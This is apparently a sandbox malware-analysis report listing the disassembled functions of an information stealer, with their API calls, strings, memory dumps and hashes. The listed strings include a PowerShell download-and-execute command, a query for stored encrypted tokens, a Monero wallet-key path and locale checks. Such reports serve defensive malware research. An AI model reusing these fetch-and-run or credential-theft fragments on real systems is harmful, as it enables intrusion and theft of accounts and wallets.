StrStrA.SHLWAPI(00000000,AccountId), ref: 001BBCCD
lstrlen.KERNEL32(00000000), ref: 001BBDA5
lstrlen.KERNEL32(00000000), ref: 001BBDB9

Strings

AccountId, xrefs: 001BBCC4
AccountTokens, xrefs: 001BBB49
AccountTokens, xrefs: 001BBABA
SELECT service, encrypted_token FROM token_service, xrefs: 001BBBEB

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 0abb7b0ec0cfe1f6edb0658a61131871c7944ad78ab2a1a8e0280bca8f782891
Instruction ID: a33502cfc2699c4fa348f3c3fb81ebbe44c42d166cdb8c582492d42e78b4d6d3
Opcode Fuzzy Hash: 0abb7b0ec0cfe1f6edb0658a61131871c7944ad78ab2a1a8e0280bca8f782891
Instruction Fuzzy Hash: 5AB11171910108ABDB15FBA0DD96FEE733CAF74309F80415DF506A6191EF34AA49CBA2

Function 001C6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 001C6774
ExitProcess.KERNEL32 ref: 001C67A5
ExitProcess.KERNEL32 ref: 001C67AF
ExitProcess.KERNEL32 ref: 001C67B9
ExitProcess.KERNEL32 ref: 001C67C3
ExitProcess.KERNEL32 ref: 001C67CD

Strings

*, xrefs: 001C678C

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 52e6c4bfd3613e51eb0dcc4fc8ca441011baf98fce3d250b771b5e705f6710fc
Instruction ID: 935c4a1839a20738aaf154d1b24657a5a1e57db135b761129ceb5bee7ee42ecb
Opcode Fuzzy Hash: 52e6c4bfd3613e51eb0dcc4fc8ca441011baf98fce3d250b771b5e705f6710fc
Instruction Fuzzy Hash: 81F05E71904209EFD345AFE0E909F3C7B78FB05703F140198E61D86290D6709B41DBD6

Function 001B4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001B4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 001B4FD1
InternetOpenA.WININET(001D0DDF,00000000,00000000,00000000,00000000), ref: 001B4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 001B5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 001B5041
InternetCloseHandle.WININET(?), ref: 001B50B9
InternetCloseHandle.WININET(?), ref: 001B50C6

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 8a43f43c59ed5616a03a623de5107c450fb85e86fc01257cf246deb9a42ebced
Instruction ID: 4b06f816c6dcab4ce3ab38d9f84e7bf407155a6556fd6b25c24e4260b538ad97
Opcode Fuzzy Hash: 8a43f43c59ed5616a03a623de5107c450fb85e86fc01257cf246deb9a42ebced
Instruction Fuzzy Hash: 333108F4A00218ABDB20DF94DC85BDCB7B9EB48704F5081D9F609A7280D7706AC5CF99

Function 001C83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001C8426
wsprintfA.USER32 ref: 001C8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 001C847B
RegCloseKey.ADVAPI32(00000000), ref: 001C848C
RegCloseKey.ADVAPI32(00000000), ref: 001C8499

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

RegQueryValueExA.ADVAPI32(00000000,00EEDB28,00000000,000F003F,?,00000400), ref: 001C84EC
lstrlen.KERNEL32(?), ref: 001C8501
RegQueryValueExA.ADVAPI32(00000000,00EEDD20,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,001D0B34), ref: 001C8599
RegCloseKey.ADVAPI32(00000000), ref: 001C8608
RegCloseKey.ADVAPI32(00000000), ref: 001C861A

Strings

%s\%s, xrefs: 001C844D

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 943ff8b94d1dbe444602662a3711e1b6181c993030d9acf52ece038364526d3c
Instruction ID: acc446010675e6697ed19a8536121e02ae46d76bae510cf9e214c28a385863bd
Opcode Fuzzy Hash: 943ff8b94d1dbe444602662a3711e1b6181c993030d9acf52ece038364526d3c
Instruction Fuzzy Hash: A521C9B195022CABDB24DB54DC85FE9B7B8FB48704F00C5D9E609A6240DF71AA85CFD4

Function 001C7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C76A4
RtlAllocateHeap.NTDLL(00000000), ref: 001C76AB
RegOpenKeyExA.ADVAPI32(80000002,00EDB9F8,00000000,00020119,00000000), ref: 001C76DD
RegQueryValueExA.ADVAPI32(00000000,00EEDC18,00000000,00000000,?,000000FF), ref: 001C76FE
RegCloseKey.ADVAPI32(00000000), ref: 001C7708

Strings

Windows 11, xrefs: 001C76BD

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 4c64fd4946dcd9edc2197e7897b5c47813c740e20ee2048317d3936e350741a7
Instruction ID: 949219cf257a5d413ab94de94ad67e909ad09266a017515c7da6a536f0577bcd
Opcode Fuzzy Hash: 4c64fd4946dcd9edc2197e7897b5c47813c740e20ee2048317d3936e350741a7
Instruction Fuzzy Hash: A0011AB5A04708ABE701EBE4DD49F79B7BCEB48701F104059FA0896290D7B0A904CB51

Function 001C7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C7734
RtlAllocateHeap.NTDLL(00000000), ref: 001C773B
RegOpenKeyExA.ADVAPI32(80000002,00EDB9F8,00000000,00020119,001C76B9), ref: 001C775B
RegQueryValueExA.ADVAPI32(001C76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 001C777A
RegCloseKey.ADVAPI32(001C76B9), ref: 001C7784

Strings

CurrentBuildNumber, xrefs: 001C7771

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 35ea929b35d41f9af50a55180a232db7e2128a93126e5869c3b5b58ab09ea134
Instruction ID: 030b91247b12bb50d92729a17e11f1f004ff050033334fd1bdd517a1411f0bf9
Opcode Fuzzy Hash: 35ea929b35d41f9af50a55180a232db7e2128a93126e5869c3b5b58ab09ea134
Instruction Fuzzy Hash: 7C01DEF5A40208BBD701DBE4DC49FBEB7BCEB48705F104559FA09A7281D6B0A544CB51

Function 001B99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001B99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 001B9A11
LocalAlloc.KERNEL32(00000040,?), ref: 001B9A31
ReadFile.KERNEL32(000000FF,?,00000000,001B148F,00000000), ref: 001B9A5A
LocalFree.KERNEL32(001B148F), ref: 001B9A90
CloseHandle.KERNEL32(000000FF), ref: 001B9A9A

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 53dc07de54b9a5accb011eb7c04d40116926a9f215006713598c52ab4277ffdf
Instruction ID: 4e0d799dd4a87baa7df1f1441025a0d35caa64247e662fd109c9befda34e5c72
Opcode Fuzzy Hash: 53dc07de54b9a5accb011eb7c04d40116926a9f215006713598c52ab4277ffdf
Instruction Fuzzy Hash: 58310AB4A00209EFDB14DFA4C985FEE77B9FF48740F108158E915A7290D778A942CFA1

Function 001C4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00EEDEE8), ref: 001C47DB

Part of subcall function 001C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001C8E0B

lstrcat.KERNEL32(?,00000000), ref: 001C4801
lstrcat.KERNEL32(?,?), ref: 001C4820
lstrcat.KERNEL32(?,?), ref: 001C4834
lstrcat.KERNEL32(?,00EDB058), ref: 001C4847
lstrcat.KERNEL32(?,?), ref: 001C485B
lstrcat.KERNEL32(?,00EED600), ref: 001C486F

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001C8D90: GetFileAttributesA.KERNEL32(00000000,?,001B1B54,?,?,001D564C,?,?,001D0E1F), ref: 001C8D9F

Part of subcall function 001C4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001C4580
Part of subcall function 001C4570: RtlAllocateHeap.NTDLL(00000000), ref: 001C4587
Part of subcall function 001C4570: wsprintfA.USER32 ref: 001C45A6
Part of subcall function 001C4570: FindFirstFileA.KERNEL32(?,?), ref: 001C45BD

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: a952b4ecd9f41e86bc6a2aab4500bdf4a23265db83ced99b3d48f098da27c792
Instruction ID: a3c089fdd7471fb47c2526a574ab3c3730f1dbc27c340b37aad5f74cab8defcc
Opcode Fuzzy Hash: a952b4ecd9f41e86bc6a2aab4500bdf4a23265db83ced99b3d48f098da27c792
Instruction Fuzzy Hash: D2315DB2900218A7CB11FBA0DC85FE9737CAB68704F404589B35996081EFB5E689CB96

Function 001C2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

ShellExecuteEx.SHELL32(0000003C), ref: 001C2D85

Strings

')", xrefs: 001C2CB3
<, xrefs: 001C2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 001C2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 001C2D04

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 271e1ef33b1c43592d022a61782e840882acfac80469707df69980ee3c104d51
Instruction ID: b8da3986185bc24e79267d1716d631d82aee9453c91c08ed8213440454f8681a
Opcode Fuzzy Hash: 271e1ef33b1c43592d022a61782e840882acfac80469707df69980ee3c104d51
Instruction Fuzzy Hash: F941CD71C5020C9BDB16EBA0D896FEDB774AF34304F90411DE016A7191DF74AA4ACF96

Function 001B9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 001B9F41

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 001B9E67
@, xrefs: 001B9EF1
v20, xrefs: 001B9E21
v10, xrefs: 001B9EA3

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 27d7ce1743e0508c17d7d3af52925e3cddde56bc6d83f79893c1fb030f7f74f8
Instruction ID: 10ecf4c854899382462334c0decebf325e4ef1d3a8777498936fb047d39a9b1b
Opcode Fuzzy Hash: 27d7ce1743e0508c17d7d3af52925e3cddde56bc6d83f79893c1fb030f7f74f8
Instruction Fuzzy Hash: 0261207190024CEBDB25EFA4CC96FED7775AF65304F808118F90A9F191DB74AA06CB52

Function 001C40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00EED460,00000000,00020119,?), ref: 001C40F4
RegQueryValueExA.ADVAPI32(?,00EEDF78,00000000,00000000,00000000,000000FF), ref: 001C4118
RegCloseKey.ADVAPI32(?), ref: 001C4122
lstrcat.KERNEL32(?,00000000), ref: 001C4147
lstrcat.KERNEL32(?,00EEDDE0), ref: 001C415B

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
